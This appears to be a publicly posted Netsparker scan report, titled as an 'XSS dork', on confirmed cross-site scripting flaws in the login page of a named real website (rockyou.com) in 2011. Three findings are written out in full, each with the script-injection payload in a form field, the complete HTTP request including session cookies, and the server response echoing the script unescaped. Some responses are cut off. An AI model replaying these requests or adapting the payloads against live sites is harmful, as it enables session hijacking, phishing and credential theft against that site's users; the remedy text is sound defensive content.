XSS, DORK, Cross Site Scripting, www.rockyou.com/login.php
Netsparker, Web Application Security Scanner

rockyou.com, XSS DORK REPORT SUMMARY

Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.rockyou.com/login.php
SCAN DATE
4/18/2011 4:54:33 PM
REPORT DATE
4/18/2011 6:16:36 PM
SCAN DURATION
01:04:51

Total Requests

Average Speed

req/sec.
56
identified
43
confirmed
0
critical
3
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
71 %
MEDIUM
16 %
LOW
7 %
INFORMATION
5 %
Cross-site Scripting

Cross-site Scripting

38 TOTAL
IMPORTANT
CONFIRMED
37
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php

Parameters

Parameter Type Value
pass POST '"--></style></script><script>alert(0x0006BB)</script>
user POST 3
mode POST create
source POST 3
flixster POST 3
toscheck POST 1
birthyear POST 3
sex POST 3
country POST 0
postalcode POST 3

Request

POST /login.php HTTP/1.1
Referer: http://www.rockyou.com/login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303163961; ctid=2; sns_type=facebook.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 181
Accept-Encoding: gzip, deflate

pass='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0006BB)%3c%2fscript%3e&user=3&mode=create&source=3&flixster=3&toscheck=1&birthyear=3&sex=3&country=0&postalcode=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:59:22 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:59:21 GMT; path=/; domain=.rockyou.com,lastlogin=1303163962; expires=Wed, 27-Jul-2011 21:59:22 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 21:59:22 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 21:59:22 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 21:59:22 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=108082 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9055
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="3"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:block"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="\'\"--></style></script><script>netsparker(0x0006BB)</script>"><br /><input type="hidden" name="user" id="user" value="3"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option>&l..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php

Parameters

Parameter Type Value
pass POST 3
user POST '"--></style></script><script>alert(0x0006E7)</script>
mode POST create
source POST 3
flixster POST 3
toscheck POST 1
birthyear POST 3
sex POST 3
country POST 0
postalcode POST 3

Request

POST /login.php HTTP/1.1
Referer: http://www.rockyou.com/login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303163971; ctid=2; sns_type=facebook.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 181
Accept-Encoding: gzip, deflate

pass=3&user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0006E7)%3c%2fscript%3e&mode=create&source=3&flixster=3&toscheck=1&birthyear=3&sex=3&country=0&postalcode=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:59:32 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:59:31 GMT; path=/; domain=.rockyou.com,lastlogin=1303163972; expires=Wed, 27-Jul-2011 21:59:32 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 21:59:32 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 21:59:32 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 21:59:32 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=87638 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9072
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="\'\"--></style></script><script>netsparker(0x0006E7)</script>"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:block"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="3"><br /><input type="hidden" name="user" id="user" value="\'\"--></style></script><script>netsparker(0x0006E7)</script>"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php

Parameters

Parameter Type Value
user POST '"--></style></script><script>alert(0x0006EB)</script>
mode POST login
pass POST 3

Request

POST /login.php HTTP/1.1
Referer: http://www.rockyou.com/login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303163972; ctid=2; sns_type=facebook.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 108
Accept-Encoding: gzip, deflate

user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0006EB)%3c%2fscript%3e&mode=login&pass=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:59:35 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=-1; expires=Mon, 18-Apr-2011 11:59:35 GMT; path=/; domain=.rockyou.com,lastlogin=1303163975; expires=Wed, 27-Jul-2011 21:59:35 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 21:59:35 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 21:59:35 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 21:59:35 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=93046 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9051
Connection: close
